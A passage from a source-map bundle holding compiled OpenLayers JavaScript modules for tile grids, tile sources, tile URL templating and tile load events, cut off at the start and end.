DEFAULT_TILE_SIZE = 256;\n//# sourceMappingURL=common.js.map","/**\n * @module ol/tilegrid\n */\nimport TileGrid from './tilegrid/TileGrid.js';\nimport Units from './proj/Units.js';\nimport { DEFAULT_MAX_ZOOM, DEFAULT_TILE_SIZE } from './tilegrid/common.js';\nimport { METERS_PER_UNIT, get as getProjection } from './proj.js';\nimport { containsCoordinate, createOrUpdate, getCorner, getHeight, getWidth, } from './extent.js';\nimport { toSize } from './size.js';\n/**\n * @param {import(\"./proj/Projection.js\").default} projection Projection.\n * @return {!TileGrid} Default tile grid for the\n * passed projection.\n */\nexport function getForProjection(projection) {\n var tileGrid = projection.getDefaultTileGrid();\n if (!tileGrid) {\n tileGrid = createForProjection(projection);\n projection.setDefaultTileGrid(tileGrid);\n }\n return tileGrid;\n}\n/**\n * @param {TileGrid} tileGrid Tile grid.\n * @param {import(\"./tilecoord.js\").TileCoord} tileCoord Tile coordinate.\n * @param {import(\"./proj/Projection.js\").default} projection Projection.\n * @return {import(\"./tilecoord.js\").TileCoord} Tile coordinate.\n */\nexport function wrapX(tileGrid, tileCoord, projection) {\n var z = tileCoord[0];\n var center = tileGrid.getTileCoordCenter(tileCoord);\n var projectionExtent = extentFromProjection(projection);\n if (!containsCoordinate(projectionExtent, center)) {\n var worldWidth = getWidth(projectionExtent);\n var worldsAway = Math.ceil((projectionExtent[0] - center[0]) / worldWidth);\n center[0] += worldWidth * worldsAway;\n return tileGrid.getTileCoordForCoordAndZ(center, z);\n }\n else {\n return tileCoord;\n }\n}\n/**\n * @param {import(\"./extent.js\").Extent} extent Extent.\n * @param {number} [opt_maxZoom] Maximum zoom level (default is\n * DEFAULT_MAX_ZOOM).\n * @param {number|import(\"./size.js\").Size} [opt_tileSize] Tile size (default uses\n * DEFAULT_TILE_SIZE).\n * @param {import(\"./extent.js\").Corner} [opt_corner] Extent corner (default is `'top-left'`).\n * @return {!TileGrid} TileGrid instance.\n */\nexport function createForExtent(extent, opt_maxZoom, opt_tileSize, opt_corner) {\n var corner = opt_corner !== undefined ? opt_corner : 'top-left';\n var resolutions = resolutionsFromExtent(extent, opt_maxZoom, opt_tileSize);\n return new TileGrid({\n extent: extent,\n origin: getCorner(extent, corner),\n resolutions: resolutions,\n tileSize: opt_tileSize,\n });\n}\n/**\n * @typedef {Object} XYZOptions\n * @property {import(\"./extent.js\").Extent} [extent] Extent for the tile grid. The origin for an XYZ tile grid is the\n * top-left corner of the extent. If `maxResolution` is not provided the zero level of the grid is defined by the resolution\n * at which one tile fits in the provided extent. If not provided, the extent of the EPSG:3857 projection is used.\n * @property {number} [maxResolution] Resolution at level zero.\n * @property {number} [maxZoom] Maximum zoom. The default is `42`. This determines the number of levels\n * in the grid set. For example, a `maxZoom` of 21 means there are 22 levels in the grid set.\n * @property {number} [minZoom=0] Minimum zoom.\n * @property {number|import(\"./size.js\").Size} [tileSize=[256, 256]] Tile size in pixels.\n */\n/**\n * Creates a tile grid with a standard XYZ tiling scheme.\n * @param {XYZOptions} [opt_options] Tile grid options.\n * @return {!TileGrid} Tile grid instance.\n * @api\n */\nexport function createXYZ(opt_options) {\n var xyzOptions = opt_options || {};\n var extent = xyzOptions.extent || getProjection('EPSG:3857').getExtent();\n var gridOptions = {\n extent: extent,\n minZoom: xyzOptions.minZoom,\n tileSize: xyzOptions.tileSize,\n resolutions: resolutionsFromExtent(extent, xyzOptions.maxZoom, xyzOptions.tileSize, xyzOptions.maxResolution),\n };\n return new TileGrid(gridOptions);\n}\n/**\n * Create a resolutions array from an extent. A zoom factor of 2 is assumed.\n * @param {import(\"./extent.js\").Extent} extent Extent.\n * @param {number} [opt_maxZoom] Maximum zoom level (default is\n * DEFAULT_MAX_ZOOM).\n * @param {number|import(\"./size.js\").Size} [opt_tileSize] Tile size (default uses\n * DEFAULT_TILE_SIZE).\n * @param {number} [opt_maxResolution] Resolution at level zero.\n * @return {!Array<number>} Resolutions array.\n */\nfunction resolutionsFromExtent(extent, opt_maxZoom, opt_tileSize, opt_maxResolution) {\n var maxZoom = opt_maxZoom !== undefined ? opt_maxZoom : DEFAULT_MAX_ZOOM;\n var height = getHeight(extent);\n var width = getWidth(extent);\n var tileSize = toSize(opt_tileSize !== undefined ? opt_tileSize : DEFAULT_TILE_SIZE);\n var maxResolution = opt_maxResolution > 0\n ? opt_maxResolution\n : Math.max(width / tileSize[0], height / tileSize[1]);\n var length = maxZoom + 1;\n var resolutions = new Array(length);\n for (var z = 0; z < length; ++z) {\n resolutions[z] = maxResolution / Math.pow(2, z);\n }\n return resolutions;\n}\n/**\n * @param {import(\"./proj.js\").ProjectionLike} projection Projection.\n * @param {number} [opt_maxZoom] Maximum zoom level (default is\n * DEFAULT_MAX_ZOOM).\n * @param {number|import(\"./size.js\").Size} [opt_tileSize] Tile size (default uses\n * DEFAULT_TILE_SIZE).\n * @param {import(\"./extent.js\").Corner} [opt_corner] Extent corner (default is `'top-left'`).\n * @return {!TileGrid} TileGrid instance.\n */\nexport function createForProjection(projection, opt_maxZoom, opt_tileSize, opt_corner) {\n var extent = extentFromProjection(projection);\n return createForExtent(extent, opt_maxZoom, opt_tileSize, opt_corner);\n}\n/**\n * Generate a tile grid extent from a projection. If the projection has an\n * extent, it is used. If not, a global extent is assumed.\n * @param {import(\"./proj.js\").ProjectionLike} projection Projection.\n * @return {import(\"./extent.js\").Extent} Extent.\n */\nexport function extentFromProjection(projection) {\n projection = getProjection(projection);\n var extent = projection.getExtent();\n if (!extent) {\n var half = (180 * METERS_PER_UNIT[Units.DEGREES]) / projection.getMetersPerUnit();\n extent = createOrUpdate(-half, -half, half, half);\n }\n return extent;\n}\n//# sourceMappingURL=tilegrid.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/source/Tile\n */\nimport Event from '../events/Event.js';\nimport Source from './Source.js';\nimport TileCache from '../TileCache.js';\nimport TileState from '../TileState.js';\nimport { abstract } from '../util.js';\nimport { assert } from '../asserts.js';\nimport { equivalent } from '../proj.js';\nimport { getKeyZXY, withinExtentAndZ } from '../tilecoord.js';\nimport { getForProjection as getTileGridForProjection, wrapX, } from '../tilegrid.js';\nimport { scale as scaleSize, toSize } from '../size.js';\n/***\n * @template Return\n * @typedef {import(\"../Observable\").OnSignature<import(\"../Observable\").EventTypes, import(\"../events/Event.js\").default, Return> &\n * import(\"../Observable\").OnSignature<import(\"../ObjectEventType\").Types, import(\"../Object\").ObjectEvent, Return> &\n * import(\"../Observable\").OnSignature<import(\"./TileEventType\").TileSourceEventTypes, TileSourceEvent, Return> &\n * import(\"../Observable\").CombinedOnSignature<import(\"../Observable\").EventTypes|import(\"../ObjectEventType\").Types|\n * import(\"./TileEventType\").TileSourceEventTypes, Return>} TileSourceOnSignature\n */\n/**\n * @typedef {Object} Options\n * @property {import(\"./Source.js\").AttributionLike} [attributions] Attributions.\n * @property {boolean} [attributionsCollapsible=true] Attributions are collapsible.\n * @property {number} [cacheSize] CacheSize.\n * @property {boolean} [opaque=false] Whether the layer is opaque.\n * @property {number} [tilePixelRatio] TilePixelRatio.\n * @property {import(\"../proj.js\").ProjectionLike} [projection] Projection.\n * @property {import(\"./Source.js\").State} [state] State.\n * @property {import(\"../tilegrid/TileGrid.js\").default} [tileGrid] TileGrid.\n * @property {boolean} [wrapX=false] WrapX.\n * @property {number} [transition] Transition.\n * @property {string} [key] Key.\n * @property {number|import(\"../array.js\").NearestDirectionFunction} [zDirection=0] ZDirection.\n * @property {boolean} [interpolate=false] Use interpolated values when resampling. By default,\n * the nearest neighbor is used when resampling.\n */\n/**\n * @classdesc\n * Abstract base class; normally only used for creating subclasses and not\n * instantiated in apps.\n * Base class for sources providing images divided into a tile grid.\n * @abstract\n * @api\n */\nvar TileSource = /** @class */ (function (_super) {\n __extends(TileSource, _super);\n /**\n * @param {Options} options SourceTile source options.\n */\n function TileSource(options) {\n var _this = _super.call(this, {\n attributions: options.attributions,\n attributionsCollapsible: options.attributionsCollapsible,\n projection: options.projection,\n state: options.state,\n wrapX: options.wrapX,\n interpolate: options.interpolate,\n }) || this;\n /***\n * @type {TileSourceOnSignature<import(\"../events\").EventsKey>}\n */\n _this.on;\n /***\n * @type {TileSourceOnSignature<import(\"../events\").EventsKey>}\n */\n _this.once;\n /***\n * @type {TileSourceOnSignature<void>}\n */\n _this.un;\n /**\n * @private\n * @type {boolean}\n */\n _this.opaque_ = options.opaque !== undefined ? options.opaque : false;\n /**\n * @private\n * @type {number}\n */\n _this.tilePixelRatio_ =\n options.tilePixelRatio !== undefined ? options.tilePixelRatio : 1;\n /**\n * @type {import(\"../tilegrid/TileGrid.js\").default|null}\n */\n _this.tileGrid = options.tileGrid !== undefined ? options.tileGrid : null;\n var tileSize = [256, 256];\n if (_this.tileGrid) {\n toSize(_this.tileGrid.getTileSize(_this.tileGrid.getMinZoom()), tileSize);\n }\n /**\n * @protected\n * @type {import(\"../TileCache.js\").default}\n */\n _this.tileCache = new TileCache(options.cacheSize || 0);\n /**\n * @protected\n * @type {import(\"../size.js\").Size}\n */\n _this.tmpSize = [0, 0];\n /**\n * @private\n * @type {string}\n */\n _this.key_ = options.key || '';\n /**\n * @protected\n * @type {import(\"../Tile.js\").Options}\n */\n _this.tileOptions = {\n transition: options.transition,\n interpolate: options.interpolate,\n };\n /**\n * zDirection hint, read by the renderer. Indicates which resolution should be used\n * by a renderer if the views resolution does not match any resolution of the tile source.\n * If 0, the nearest resolution will be used. If 1, the nearest lower resolution\n * will be used. If -1, the nearest higher resolution will be used.\n * @type {number|import(\"../array.js\").NearestDirectionFunction}\n */\n _this.zDirection = options.zDirection ? options.zDirection : 0;\n return _this;\n }\n /**\n * @return {boolean} Can expire cache.\n */\n TileSource.prototype.canExpireCache = function () {\n return this.tileCache.canExpireCache();\n };\n /**\n * @param {import(\"../proj/Projection.js\").default} projection Projection.\n * @param {!Object<string, boolean>} usedTiles Used tiles.\n */\n TileSource.prototype.expireCache = function (projection, usedTiles) {\n var tileCache = this.getTileCacheForProjection(projection);\n if (tileCache) {\n tileCache.expireCache(usedTiles);\n }\n };\n /**\n * @param {import(\"../proj/Projection.js\").default} projection Projection.\n * @param {number} z Zoom level.\n * @param {import(\"../TileRange.js\").default} tileRange Tile range.\n * @param {function(import(\"../Tile.js\").default):(boolean|void)} callback Called with each\n * loaded tile. If the callback returns `false`, the tile will not be\n * considered loaded.\n * @return {boolean} The tile range is fully covered with loaded tiles.\n */\n TileSource.prototype.forEachLoadedTile = function (projection, z, tileRange, callback) {\n var tileCache = this.getTileCacheForProjection(projection);\n if (!tileCache) {\n return false;\n }\n var covered = true;\n var tile, tileCoordKey, loaded;\n for (var x = tileRange.minX; x <= tileRange.maxX; ++x) {\n for (var y = tileRange.minY; y <= tileRange.maxY; ++y) {\n tileCoordKey = getKeyZXY(z, x, y);\n loaded = false;\n if (tileCache.containsKey(tileCoordKey)) {\n tile = /** @type {!import(\"../Tile.js\").default} */ (tileCache.get(tileCoordKey));\n loaded = tile.getState() === TileState.LOADED;\n if (loaded) {\n loaded = callback(tile) !== false;\n }\n }\n if (!loaded) {\n covered = false;\n }\n }\n }\n return covered;\n };\n /**\n * @param {import(\"../proj/Projection.js\").default} projection Projection.\n * @return {number} Gutter.\n */\n TileSource.prototype.getGutterForProjection = function (projection) {\n return 0;\n };\n /**\n * Return the key to be used for all tiles in the source.\n * @return {string} The key for all tiles.\n */\n TileSource.prototype.getKey = function () {\n return this.key_;\n };\n /**\n * Set the value to be used as the key for all tiles in the source.\n * @param {string} key The key for tiles.\n * @protected\n */\n TileSource.prototype.setKey = function (key) {\n if (this.key_ !== key) {\n this.key_ = key;\n this.changed();\n }\n };\n /**\n * @param {import(\"../proj/Projection.js\").default} projection Projection.\n * @return {boolean} Opaque.\n */\n TileSource.prototype.getOpaque = function (projection) {\n return this.opaque_;\n };\n /**\n * @return {Array<number>|null} Resolutions.\n */\n TileSource.prototype.getResolutions = function () {\n if (!this.tileGrid) {\n return null;\n }\n return this.tileGrid.getResolutions();\n };\n /**\n * @abstract\n * @param {number} z Tile coordinate z.\n * @param {number} x Tile coordinate x.\n * @param {number} y Tile coordinate y.\n * @param {number} pixelRatio Pixel ratio.\n * @param {import(\"../proj/Projection.js\").default} projection Projection.\n * @return {!import(\"../Tile.js\").default} Tile.\n */\n TileSource.prototype.getTile = function (z, x, y, pixelRatio, projection) {\n return abstract();\n };\n /**\n * Return the tile grid of the tile source.\n * @return {import(\"../tilegrid/TileGrid.js\").default|null} Tile grid.\n * @api\n */\n TileSource.prototype.getTileGrid = function () {\n return this.tileGrid;\n };\n /**\n * @param {import(\"../proj/Projection.js\").default} projection Projection.\n * @return {!import(\"../tilegrid/TileGrid.js\").default} Tile grid.\n */\n TileSource.prototype.getTileGridForProjection = function (projection) {\n if (!this.tileGrid) {\n return getTileGridForProjection(projection);\n }\n else {\n return this.tileGrid;\n }\n };\n /**\n * @param {import(\"../proj/Projection.js\").default} projection Projection.\n * @return {import(\"../TileCache.js\").default} Tile cache.\n * @protected\n */\n TileSource.prototype.getTileCacheForProjection = function (projection) {\n var sourceProjection = this.getProjection();\n assert(sourceProjection === null || equivalent(sourceProjection, projection), 68 // A VectorTile source can only be rendered if it has a projection compatible with the view projection.\n );\n return this.tileCache;\n };\n /**\n * Get the tile pixel ratio for this source. Subclasses may override this\n * method, which is meant to return a supported pixel ratio that matches the\n * provided `pixelRatio` as close as possible.\n * @param {number} pixelRatio Pixel ratio.\n * @return {number} Tile pixel ratio.\n */\n TileSource.prototype.getTilePixelRatio = function (pixelRatio) {\n return this.tilePixelRatio_;\n };\n /**\n * @param {number} z Z.\n * @param {number} pixelRatio Pixel ratio.\n * @param {import(\"../proj/Projection.js\").default} projection Projection.\n * @return {import(\"../size.js\").Size} Tile size.\n */\n TileSource.prototype.getTilePixelSize = function (z, pixelRatio, projection) {\n var tileGrid = this.getTileGridForProjection(projection);\n var tilePixelRatio = this.getTilePixelRatio(pixelRatio);\n var tileSize = toSize(tileGrid.getTileSize(z), this.tmpSize);\n if (tilePixelRatio == 1) {\n return tileSize;\n }\n else {\n return scaleSize(tileSize, tilePixelRatio, this.tmpSize);\n }\n };\n /**\n * Returns a tile coordinate wrapped around the x-axis. When the tile coordinate\n * is outside the resolution and extent range of the tile grid, `null` will be\n * returned.\n * @param {import(\"../tilecoord.js\").TileCoord} tileCoord Tile coordinate.\n * @param {import(\"../proj/Projection.js\").default} [opt_projection] Projection.\n * @return {import(\"../tilecoord.js\").TileCoord} Tile coordinate to be passed to the tileUrlFunction or\n * null if no tile URL should be created for the passed `tileCoord`.\n */\n TileSource.prototype.getTileCoordForTileUrlFunction = function (tileCoord, opt_projection) {\n var projection = opt_projection !== undefined ? opt_projection : this.getProjection();\n var tileGrid = this.getTileGridForProjection(projection);\n if (this.getWrapX() && projection.isGlobal()) {\n tileCoord = wrapX(tileGrid, tileCoord, projection);\n }\n return withinExtentAndZ(tileCoord, tileGrid) ? tileCoord : null;\n };\n /**\n * Remove all cached tiles from the source. The next render cycle will fetch new tiles.\n * @api\n */\n TileSource.prototype.clear = function () {\n this.tileCache.clear();\n };\n TileSource.prototype.refresh = function () {\n this.clear();\n _super.prototype.refresh.call(this);\n };\n /**\n * Increases the cache size if needed\n * @param {number} tileCount Minimum number of tiles needed.\n * @param {import(\"../proj/Projection.js\").default} projection Projection.\n */\n TileSource.prototype.updateCacheSize = function (tileCount, projection) {\n var tileCache = this.getTileCacheForProjection(projection);\n if (tileCount > tileCache.highWaterMark) {\n tileCache.highWaterMark = tileCount;\n }\n };\n /**\n * Marks a tile coord as being used, without triggering a load.\n * @abstract\n * @param {number} z Tile coordinate z.\n * @param {number} x Tile coordinate x.\n * @param {number} y Tile coordinate y.\n * @param {import(\"../proj/Projection.js\").default} projection Projection.\n */\n TileSource.prototype.useTile = function (z, x, y, projection) { };\n return TileSource;\n}(Source));\n/**\n * @classdesc\n * Events emitted by {@link module:ol/source/Tile~TileSource} instances are instances of this\n * type.\n */\nvar TileSourceEvent = /** @class */ (function (_super) {\n __extends(TileSourceEvent, _super);\n /**\n * @param {string} type Type.\n * @param {import(\"../Tile.js\").default} tile The tile.\n */\n function TileSourceEvent(type, tile) {\n var _this = _super.call(this, type) || this;\n /**\n * The tile related to the event.\n * @type {import(\"../Tile.js\").default}\n * @api\n */\n _this.tile = tile;\n return _this;\n }\n return TileSourceEvent;\n}(Event));\nexport { TileSourceEvent };\nexport default TileSource;\n//# sourceMappingURL=Tile.js.map","/**\n * @module ol/tileurlfunction\n */\nimport { assert } from './asserts.js';\nimport { modulo } from './math.js';\nimport { hash as tileCoordHash } from './tilecoord.js';\n/**\n * @param {string} template Template.\n * @param {import(\"./tilegrid/TileGrid.js\").default} tileGrid Tile grid.\n * @return {import(\"./Tile.js\").UrlFunction} Tile URL function.\n */\nexport function createFromTemplate(template, tileGrid) {\n var zRegEx = /\\{z\\}/g;\n var xRegEx = /\\{x\\}/g;\n var yRegEx = /\\{y\\}/g;\n var dashYRegEx = /\\{-y\\}/g;\n return (\n /**\n * @param {import(\"./tilecoord.js\").TileCoord} tileCoord Tile Coordinate.\n * @param {number} pixelRatio Pixel ratio.\n * @param {import(\"./proj/Projection.js\").default} projection Projection.\n * @return {string|undefined} Tile URL.\n */\n function (tileCoord, pixelRatio, projection) {\n if (!tileCoord) {\n return undefined;\n }\n else {\n return template\n .replace(zRegEx, tileCoord[0].toString())\n .replace(xRegEx, tileCoord[1].toString())\n .replace(yRegEx, tileCoord[2].toString())\n .replace(dashYRegEx, function () {\n var z = tileCoord[0];\n var range = tileGrid.getFullTileRange(z);\n assert(range, 55); // The {-y} placeholder requires a tile grid with extent\n var y = range.getHeight() - tileCoord[2] - 1;\n return y.toString();\n });\n }\n });\n}\n/**\n * @param {Array<string>} templates Templates.\n * @param {import(\"./tilegrid/TileGrid.js\").default} tileGrid Tile grid.\n * @return {import(\"./Tile.js\").UrlFunction} Tile URL function.\n */\nexport function createFromTemplates(templates, tileGrid) {\n var len = templates.length;\n var tileUrlFunctions = new Array(len);\n for (var i = 0; i < len; ++i) {\n tileUrlFunctions[i] = createFromTemplate(templates[i], tileGrid);\n }\n return createFromTileUrlFunctions(tileUrlFunctions);\n}\n/**\n * @param {Array<import(\"./Tile.js\").UrlFunction>} tileUrlFunctions Tile URL Functions.\n * @return {import(\"./Tile.js\").UrlFunction} Tile URL function.\n */\nexport function createFromTileUrlFunctions(tileUrlFunctions) {\n if (tileUrlFunctions.length === 1) {\n return tileUrlFunctions[0];\n }\n return (\n /**\n * @param {import(\"./tilecoord.js\").TileCoord} tileCoord Tile Coordinate.\n * @param {number} pixelRatio Pixel ratio.\n * @param {import(\"./proj/Projection.js\").default} projection Projection.\n * @return {string|undefined} Tile URL.\n */\n function (tileCoord, pixelRatio, projection) {\n if (!tileCoord) {\n return undefined;\n }\n else {\n var h = tileCoordHash(tileCoord);\n var index = modulo(h, tileUrlFunctions.length);\n return tileUrlFunctions[index](tileCoord, pixelRatio, projection);\n }\n });\n}\n/**\n * @param {import(\"./tilecoord.js\").TileCoord} tileCoord Tile coordinate.\n * @param {number} pixelRatio Pixel ratio.\n * @param {import(\"./proj/Projection.js\").default} projection Projection.\n * @return {string|undefined} Tile URL.\n */\nexport function nullTileUrlFunction(tileCoord, pixelRatio, projection) {\n return undefined;\n}\n/**\n * @param {string} url URL.\n * @return {Array<string>} Array of urls.\n */\nexport function expandUrl(url) {\n var urls = [];\n var match = /\\{([a-z])-([a-z])\\}/.exec(url);\n if (match) {\n // char range\n var startCharCode = match[1].charCodeAt(0);\n var stopCharCode = match[2].charCodeAt(0);\n var charCode = void 0;\n for (charCode = startCharCode; charCode <= stopCharCode; ++charCode) {\n urls.push(url.replace(match[0], String.fromCharCode(charCode)));\n }\n return urls;\n }\n match = /\\{(\\d+)-(\\d+)\\}/.exec(url);\n if (match) {\n // number range\n var stop_1 = parseInt(match[2], 10);\n for (var i = parseInt(match[1], 10); i <= stop_1; i++) {\n urls.push(url.replace(match[0], i.toString()));\n }\n return urls;\n }\n urls.push(url);\n return urls;\n}\n//# sourceMappingURL=tileurlfunction.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/source/UrlTile\n */\nimport TileEventType from './TileEventType.js';\nimport TileSource, { TileSourceEvent } from './Tile.js';\nimport TileState from '../TileState.js';\nimport { createFromTemplates, expandUrl } from '../tileurlfunction.js';\nimport { getKeyZXY } from '../tilecoord.js';\nimport { getUid } from '../util.js';\n/**\n * @typedef {Object} Options\n * @property {import(\"./Source.js\").AttributionLike} [attributions] Attributions.\n * @property {boolean} [attributionsCollapsible=true] Attributions are collapsible.\n * @property {number} [cacheSize] Cache size.\n * @property {boolean} [opaque=false] Whether the layer is opaque.\n * @property {import(\"../proj.js\").ProjectionLike} [projection] Projection.\n * @property {import(\"./Source.js\").State} [state] State.\n * @property {import(\"../tilegrid/TileGrid.js\").default} [tileGrid] TileGrid.\n * @property {import(\"../Tile.js\").LoadFunction} tileLoadFunction TileLoadFunction.\n * @property {number} [tilePixelRatio] TilePixelRatio.\n * @property {import(\"../Tile.js\").UrlFunction} [tileUrlFunction] TileUrlFunction.\n * @property {string} [url] Url.\n * @property {Array<string>} [urls] Urls.\n * @property {boolean} [wrapX=true] WrapX.\n * @property {number} [transition] Transition.\n * @property {string} [key] Key.\n * @property {number|import(\"../array.js\").NearestDirectionFunction} [zDirection=0] ZDirection.\n * @property {boolean} [interpolate=false] Use interpolated values when resampling. By default,\n * the nearest neighbor is used when resampling.\n */\n/**\n * @classdesc\n * Base class for sources providing tiles divided into a tile grid over http.\n *\n * @fires import(\"./Tile.js\").TileSourceEvent\n */\nvar UrlTile = /** @class */ (function (_super) {\n __extends(UrlTile, _super);\n /**\n * @param {Options} options Image tile options.\n */\n function UrlTile(options) {\n var _this = _super.call(this, {\n attributions: options.attributions,\n cacheSize: options.cacheSize,\n opaque: options.opaque,\n projection: options.projection,\n state: options.state,\n tileGrid: options.tileGrid,\n tilePixelRatio: options.tilePixelRatio,\n wrapX: options.wrapX,\n transition: options.transition,\n interpolate: options.interpolate,\n key: options.key,\n attributionsCollapsible: options.attributionsCollapsible,\n zDirection: options.zDirection,\n }) || this;\n /**\n * @private\n * @type {boolean}\n */\n _this.generateTileUrlFunction_ =\n _this.tileUrlFunction === UrlTile.prototype.tileUrlFunction;\n /**\n * @protected\n * @type {import(\"../Tile.js\").LoadFunction}\n */\n _this.tileLoadFunction = options.tileLoadFunction;\n if (options.tileUrlFunction) {\n _this.tileUrlFunction = options.tileUrlFunction;\n }\n /**\n * @protected\n * @type {!Array<string>|null}\n */\n _this.urls = null;\n if (options.urls) {\n _this.setUrls(options.urls);\n }\n else if (options.url) {\n _this.setUrl(options.url);\n }\n /**\n * @private\n * @type {!Object<string, boolean>}\n */\n _this.tileLoadingKeys_ = {};\n return _this;\n }\n /**\n * Return the tile load function of the source.\n * @return {import(\"../Tile.js\").LoadFunction} TileLoadFunction\n * @api\n */\n UrlTile.prototype.getTileLoadFunction = function () {\n return this.tileLoadFunction;\n };\n /**\n * Return the tile URL function of the source.\n * @return {import(\"../Tile.js\").UrlFunction} TileUrlFunction\n * @api\n */\n UrlTile.prototype.getTileUrlFunction = function () {\n return Object.getPrototypeOf(this).tileUrlFunction === this.tileUrlFunction\n ? this.tileUrlFunction.bind(this)\n : this.tileUrlFunction;\n };\n /**\n * Return the URLs used for this source.\n * When a tileUrlFunction is used instead of url or urls,\n * null will be returned.\n * @return {!Array<string>|null} URLs.\n * @api\n */\n UrlTile.prototype.getUrls = function () {\n return this.urls;\n };\n /**\n * Handle tile change events.\n * @param {import(\"../events/Event.js\").default} event Event.\n * @protected\n */\n UrlTile.prototype.handleTileChange = function (event) {\n var tile = /** @type {import(\"../Tile.js\").default} */ (event.target);\n var uid = getUid(tile);\n var tileState = tile.getState();\n var type;\n if (tileState == TileState.LOADING) {\n this.tileLoadingKeys_[uid] = true;\n type = TileEventType.TILELOADSTART;\n }\n else if (uid in this.tileLoadingKeys_) {\n delete this.tileLoadingKeys_[uid];\n type =\n tileState == TileState.ERROR\n ? TileEventType.TILELOADERROR\n : tileState == TileState.LOADED\n ? TileEventType.TILELOADEND\n : undefined;\n }\n if (type != undefined) {\n this.dispatchEvent(new TileSourceEvent(type, tile));\n }\n };\n /**\n * Set the tile load function of the source.\n * @param {import(\"../Tile.js\").LoadFunction} tileLoadFunction Tile load function.\n * @api\n */\n UrlTile.prototype.setTileLoadFunction = function (tileLoadFunction) {\n this.tileCache.clear();\n this.tileLoadFunction = tileLoadFunction;\n this.changed();\n };\n /**\n * Set the tile URL function of the source.\n * @param {import(\"../Tile.js\").UrlFunction} tileUrlFunction Tile URL function.\n * @param {string} [key] Optional new tile key for the source.\n * @api\n */\n UrlTile.prototype.setTileUrlFunction = function (tileUrlFunction, key) {\n this.tileUrlFunction = tileUrlFunction;\n this.tileCache.pruneExceptNewestZ();\n if (typeof key !== 'undefined') {\n this.setKey(key);\n }\n else {\n this.changed();\n }\n };\n /**\n * Set the URL to use for requests.\n * @param {string} url URL.\n * @api\n */\n UrlTile.prototype.setUrl = function (url) {\n var urls = expandUrl(url);\n this.urls = urls;\n this.setUrls(urls);\n };\n /**\n * Set the URLs to use for requests.\n * @param {Array<string>} urls URLs.\n * @api\n */\n UrlTile.prototype.setUrls = function (urls) {\n this.urls = urls;\n var key = urls.join('\\n');\n if (this.generateTileUrlFunction_) {\n this.setTileUrlFunction(createFromTemplates(urls, this.tileGrid), key);\n }\n else {\n this.setKey(key);\n }\n };\n /**\n * @param {import(\"../tilecoord.js\").TileCoord} tileCoord Tile coordinate.\n * @param {number} pixelRatio Pixel ratio.\n * @param {import(\"../proj/Projection.js\").default} projection Projection.\n * @return {string|undefined} Tile URL.\n */\n UrlTile.prototype.tileUrlFunction = function (tileCoord, pixelRatio, projection) {\n return undefined;\n };\n /**\n * Marks a tile coord as being used, without triggering a load.\n * @param {number} z Tile coordinate z.\n * @param {number} x Tile coordinate x.\n * @param {number} y Tile coordinate y.\n */\n UrlTile.prototype.useTile = function (z, x, y) {\n var tileCoordKey = getKeyZXY(z, x, y);\n if (this.tileCache.containsKey(tileCoordKey)) {\n this.tileCache.get(tileCoordKey);\n }\n };\n return UrlTile;\n}(TileSource));\nexport default UrlTile;\n//# sourceMappingURL=UrlTile.js.map","/**\n * @module ol/source/TileEventType\n */\n/**\n * @enum {string}\n */\nexport default {\n /**\n * Triggered when a tile starts loading.\n * @event module:ol/source/Tile.TileSourceEvent#tileloadstart\n * @api\n */\n TILELOADSTART: 'tileloadstart',\n /**\n * Triggered when a tile finishes loading, either when its data is loaded,\n * or when loading was aborted because the tile is no longer needed.\n * @event module:ol/source/Tile.TileSourceEvent#tileloadend\n * @api\n */\n TILELOADEND: 'tileloadend',\n /**\n * Triggered if tile loading results in an error.\n * @event module:ol/source/Tile.TileSourceEvent#tileloaderror\n * @api\n */\n TILELOADERROR: 'tileloaderror',\n};\n/**\n * @typedef {'tileloadstart'|'tileloadend'|'tileloaderror'} TileSourceEventTypes\n */\n//# sourceMappingURL=TileEventType.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/source/TileImage\n */\nimport EventType from '../events/EventType.js';\nimport ImageTile from '../ImageTile.js';\nimport ReprojTile from '../reproj/Tile.js';\nimport TileCache from '../TileCache.js';\nimport TileState from '../TileState.js';\nimport UrlTile from './UrlTile.js';\nimport { ENABLE_RASTER_REPROJECTION } from '../reproj/common.js';\nimport { equivalent, get as getProjection } from '../proj.js';\nimport { getKey, getKeyZXY } from '../tilecoord.js';\nimport { getForProjection as getTileGridForProjection } from '../tilegrid.js';\nimport { getUid } from '../util.js';\n/**\n * @typedef {Object} Options\n * @property {import(\"./Source.js\").AttributionLike} [attributions] Attributions.\n * @property {boolean} [attributionsCollapsible=true] Attributions are collapsible.\n * @property {number} [cacheSize] Initial tile cache size. Will auto-grow to hold at least the number of tiles in the viewport.\n * @property {null|string} [crossOrigin] The `crossOrigin` attribute for loaded images. Note that\n * you must provide a `crossOrigin` value if you want to access pixel data with the 